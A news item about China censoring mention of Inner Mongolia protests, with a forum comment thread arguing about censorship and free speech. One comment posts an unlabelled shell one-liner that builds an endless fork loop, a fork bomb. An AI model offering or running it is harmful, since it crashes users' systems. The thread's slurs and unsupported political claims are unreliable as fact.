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China Censors Web To Curb Inner Mongolia Protests
angry tapir writes "China is blocking mention of Inner Mongolia on Chinese microblogs and social networking sites, as part of an effort to clamp down on protests that broke out last week in the region. Two of the most popular microblog services operating in China no longer allow users to search for the term 'Inner Mongolia.' Sina's and Tencent's microblogs have 140 million and 160 million users, respectively."
At least the Chinese only censor the web (for national security) inside their own country. US on the other hand tries to censor it around the world for something little like downloading one mp3.
I can't help but wonder where wikileaks is on this subject. There was soo much hope and potential for wikileaks to be universally recognised across countries, continents and cultures as being pro liberty. Sadly the recent diversions have hindered this cause.
Always after my shCity Beef,
Yep, America is one of the very few places where you can say anything you want, yet have no say at the same time.
Grammar nazis are to this community what excrements are to gold.
Your view of the degree of freedom of speech (and presumably, assembly and protest) in this country appears very naive.
We need to do even more business with the Chinese. Because, of course, i've been told my entire life as an American that capitalism in the form of sweat shops, then KFCs and Walmarts are the way to overthrow governments and win the hearts and minds of people. So the more evil China does, the more business we need to do with them, FOR FREEDOM! Or something.
The fact that we've gotten used to it doesn't change that it's unacceptable and deserves serious attention.
Grammar nazis are to this community what excrements are to gold.
I actually fully await for the US to start doing something similar some day. The PROTECT IP Act. et. al. are already a good way in the same direction, the next logical step would be "PROTECT CHILDREN Act" or "PROTECT INNOCENCE Act" which would allow the government to start censoring material for "ethical reasons."
I did a search in China Daily http://search.chinadaily.com.cn/all_en.jsp?searchText=Inner+Mongolia+&searchword=Inner+Mongolia and these is no mention of this story at all. The entire story may very well be a fabrication by anti-revolutionary forces.
I am in China, there really has been no mention of it. And you can be sure I posted Anonymously for this one.
You mean, lets say, any Muslim in traditional outfit can enter a plane and because he is afraid of flying pray "Allah is great", without any fearing to be removed from the plane? You mean, one can wear a t-shirt with "fuck [name of local governor]" on it and police will threat him like anybody else? You mean one can not be imprisoned without seeing a lawyer for saying something which the police *considers* to be a terrorist threat.
I am glad to hear that.
There are no political forces who want to have a "kill switch" on the Internet?
I appreciate that the USA and the western world in general is very free right now, but i urge you to be careful when making comparisons, or take this for granted. Good chess players watch their own defense.
Its more complicated than "the Chinese" "censoring the net" for "political reasons". Its that han-Chinese in some regions are not tolerated so well in the local population - to say it nicely. Its sometimes less of a political conflict, but more a race problem. Sometimes external organizations give support for political reasons, but it ends up for stimulating demonstrations - which are close to racial nationalism - during which people have been killed, not by the police, but by the protesters, telling that these protests where *not* peaceful sit-ins on the streets, but violent unrest. Stimulating unrest *is* a crime in many European states, and i have no doubt that it could happen that your web page may be put off line.
If you want to have a confirmation that feeling suppressed by a central government does not make people nicer or more understanding for human rights, look to the Baltic states. Some of these try to put the considerable Russian speaking population (people who also had no say in going there) into a serious disadvantage, up to forbidding to speak the Russian language in public places.
So while i hope the Chinese government finds a way to deal with this in a constructive manner, i have to say: maybe the time to solve this complicated problem has just not yet come. Maybe they figured that if they use this "kill switch" deaths can be prevented. While we may dispute about it (and i would), this idea is not *so* far from some things i have heard in Europe/the US.
The Tunisian contagion finally reaching China?
Somehow I feel that all these "big" countries will suffer the same fate. China may actually collapse under it's own weight if something like this continues. Heck, the Tunisian revolution started from some small village in the south of it and then spread like fire on grass. China seems to have built the same tension from class differences and the rising social needs (and of course frustration from censorship).
The chinese government might be able to distribute money like the petrolium mafia-countries do, right now, to calm the angry mobs, but personally, I do expect some kind of change in China.
I thought it was:
America, where you have the right to say anything, but say nothing of value.
Either one is good.
Doesn't 'Blog' get the idea across? I mean, is huffpo a 'Megablog'? And if so should 'Microsoft' be forced to rebrand as 'Gigantosoft'? Just sayin'
If you mod me down the terrorists will have won
Yes, you have the right to say what you want. Actually, you're encouraged to and almost badgered to do it. Because our powers have noticed something: Nobody cares. Worse, since everyone may say what they want, we believe actually the bull that we're free to say what we want. Which is actually true.
We're just not free to listen to anyone we want.
Or, more accurately, our powers noticed that it does not matter whether me or you say something, not even when done in a blog or other means to make it public past the reach of our voice when standing on a soap box. Why? 'cause nobody listens. Duh. Only if you start saying things they don't like AND you get an audience, that's when they get active.
So, essentially, you're free to say what you want. Just hope you don't get too many to listen or you might be in trouble.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Sorry, but America has become a fascist state. Watch this video from two days ago:
http://www.youtube.com/watch?v=8jUU3yCy3uI
China and Ingsoc have such a nice ring together, don't you think?
Non outer mongolia
Yay me!
So you want to say, half of the conversations gave the police occasion to bully the persons at will?
The Estonian police don't bully anyone for speaking Russian. I usually speak Russian with older people when visiting Estonia -- which I do several times a year -- and never has anyone batted an eye (and they don't usually notice that I'm not a native Russian).
I dunno, but if I were with the Falun Gong/Mongolians/some other oppressed minority in China I'm not sure I'd be entirely happy that someone is calling for a genocide of Chinese people in my name. Because that would be the sort of thing the Chinese government would find useful to justify what repression they have. So if you posted this in an attempt to help the Falun Gong/Mongolians et you're seriously misguided.
Of course if you posted this to get your proverbial fifty cents from the CCP, then good job. Top marks for creativity in fact.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Looks like there's pictures and a small blip of text about it here: http://www.innermongolia.org/english/index.html It also looks like all Chinese news sites (.cn) are censoring any mention of it as well.
Yes, I am sure that if the oppressed minority groups would just be quite, China would just leave them alone. I can't think of an instance in history where that philosophy has worked out.
-But then again You Tube says I am a fagot, so you should probably just ignore what I say.
On Second thought, maybe your are right. I would not want to give any reason for any more oppression of Mongolia / Tibet / Fulong Gong. The CCP can do that on their own.
To the Thought Police in the PRC;
I am not Mongolian, Tibetan, or a member of any religious organization that you have deemed illegal and highly dangerous to the peace and harmony of society. The above comments are my own and meant as a joke, and are not representative of the opinions of any of the above mentioned groups.
Mongolians and Tibetans are for the most part peaceful and just trying to get along in the world. They are nice people, and do not want to overthrow your government.
-Sincerely
-Harry
Wheh, No I can sleep easy.
-But then again You Tube says I am a fagot, so you should probably just ignore what I said.
in general, making a sarcastic comment about the government on twitter will not get you a year in jail in a labor camp in the US. not yet anyways.
it happened to a girl in china though.
In On the Brink by Henry Paulson he clearly describes his relationship with Chinese leaders while he was CEO of Goldman Sachs.
When he became secretary of terasury in 2006 he was constantly on the phone with them. They get more mention in his book on the crisis of 2008 than Dick Cheney does.
China bought hundreds of billions of dollars worth of Treasury bonds, as well as Fannie and Freddie bonds, through the 1990s and in the 2000s they really ramped up.
I.E., during all of the years when the 'Anti-Clintons' were in the whitehouse and/or congress, 2000-2008, China basically bought a massive, ginormous chunk of the US housing market. When you pay your mortgage, part of it goes directly to the Red Army.
It has nothing to do with Clinton, Bush, the GOP, the Democrats, etc. We don't even have words to describe how the system has changed over the past 20 or so years.
Quite the opposite, I value my freedom above everything else.
Sadly, you're correct. We're so used to our freedom that we don't bother defending it anymore. There is no outcry when yet another law gets passed that limits us and strangles us, that fences us in and takes away our liberty, plucking it limb from limb until we are free ... to do what we get told to do.
We live in a time where death is such an unthinkable, horrible fate that nothing is worth risking it, not even defending our liberty. And I'm not even talking about a real, visible threat. You can scare the average person with some diffuse threat of "terrorism" into giving up any and all liberty he ever had, as long as you at least promise to protect him. Again, we're not talking about protecting someone from a tangible right-out-the-door danger, something I could possibly at least understand (not approve, but understand). We're talking about a promise of protection from some diffuse, maybe, possibly, existing threat that's enough to make people cower in fear and willingly surrender freedoms we held dear not too long ago.
And that's something I simply do not understand. Are we really so easy to scare? Thinking about it, it can't even be the danger of death. Look at the statistics for a simple "threat indicator". 30,000-40,000 dead per year in car accidents. 40,000 killed by junk food related health problems every year. And a stunning 195,000 dead per year from malpractice. I don't see people go apeshit over cars, hamburgers or are terrified when they see a doctor. But some 3,000 once, a decade ago, that's making us quiver in our slippers.
I don't understand humans.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
I just made a post saying "Inner Mongolia. Is Inner Mongolia being censored?" in Chinese on Renren. Nope, no problems, instant send. Asked a friend to ask their friends, grapevine says no protests in any major cities in Neimenggu.
This sounds like bullshit to me. Not even China censors so well that not a single mention of the protests is found ANYWHERE. Tianya would have like 20 threads a minute,like during the Uighur riots (okay, minor exaggeration). Sounds more like a made-up non-story.
The real story is that something like this gets picked up by the media and Slashdot. And that it is so believable :(